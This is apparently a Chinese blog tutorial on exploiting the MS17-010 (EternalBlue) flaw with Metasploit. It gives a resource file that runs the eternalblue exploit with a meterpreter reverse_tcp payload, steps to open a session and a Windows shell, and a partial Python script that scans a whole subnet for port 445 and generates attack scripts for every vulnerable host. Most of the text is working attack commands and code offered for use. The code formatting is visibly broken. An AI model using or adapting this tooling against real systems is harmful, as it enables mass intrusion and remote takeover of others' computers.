在进行编写与Metasploit交互的脚本前,我们先简单运用Metasploit利用ms17-010(永恒之蓝)漏洞对目标主机实现攻击。详细教程见->不可小看的漏洞——利用永恒之蓝漏洞(MS17-010)入侵电脑
攻击主机:kalilinux IP:192.168.1.14
步骤:
(1)在kalilinux桌面创建一个以'.rc'为后缀的文件,我创建的是‘smb.rc’,然后填入下面的命令。
<code>use
auxiliary/scanner/smb/smb_ms17_010
set
rhosts 192.168.1.10
use
exploit/windows/smb/ms17_010_eternalblue
set
rhosts 192.168.1.10
set
payload windows/x64/meterpreter/reverse_tcp
exploit
-j -z
/<code>
(2)右击文件smb.rc,在此打开终端。输入如下命令,回车。
<code>msfconsole
-r
smb
.rc
/<code>
(3)看到如下出现状态,继续按回车,然后输入如下命令即可建立会话运行命令,具体利用可以见->利用永恒之蓝漏洞(MS17-010)入侵电脑。
<code>sessions
-i1
/<code>
(5)输入shell就可以进入Windows的cmd命令界面了。
编写python脚本
可以用python编写一个能扫描445端口的主机,并自动生成一个去攻击所有有漏洞主机的Metasploit脚本文件的Python脚本。
<code>import
nmapimport
osimport
optparseimport
sysdef
findTgts
(subNet)
: nmScan = nmap.PortScanner() nmScan.scan(subNet,'445'
) tgtHosts = []for
hostin
nmScan.all_hosts():if
nmScan[host].has_tcp(445
): state = nmScan[host]['tcp'
][445
]['state'
]if
state =='open'
:'[+] Found Target Host: '
+ host tgtHosts.append(host)return
tgtHostsdef
setupHandler
(configFile, rhost)
: configFile.write('use auxiliary/scanner/smb/smb_ms17_010\n'
) configFile.write('set rhosts '
+rhost+'\n'
) configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n'
) configFile.write('set rhosts '
+ rhost +'\n'
) configFile.write('set payload windows/x64/meterpreter/reverse_tcp\n'
) configFile.write('exploit -j -z\n'
) configFile.write('setg DisablePayloadHandler 1\n'
)def
confickerExploit
(configFile, tgtHost)
: configFile.write('use auxiliary/scanner/smb/smb_ms17_010\n'
) configFile.write('set rhosts '
+ str(tgtHost) +'\n'
) configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n'
) configFile.write('set rhosts '
+ str(tgtHost) +'\n'
) configFile.write('set payload windows/x64/meterpreter/reverse_tcp\n'
) configFile.write('exploit -j -z\n'
)/<code>
findTgts()函数中实现对整个网段的主机445端口的扫描,setupHandler()函数实现目标主机被攻击后进行远程交互的监听器的功能,confickerExploit()函数实现命令执行,代码未完整,可后续自行补充。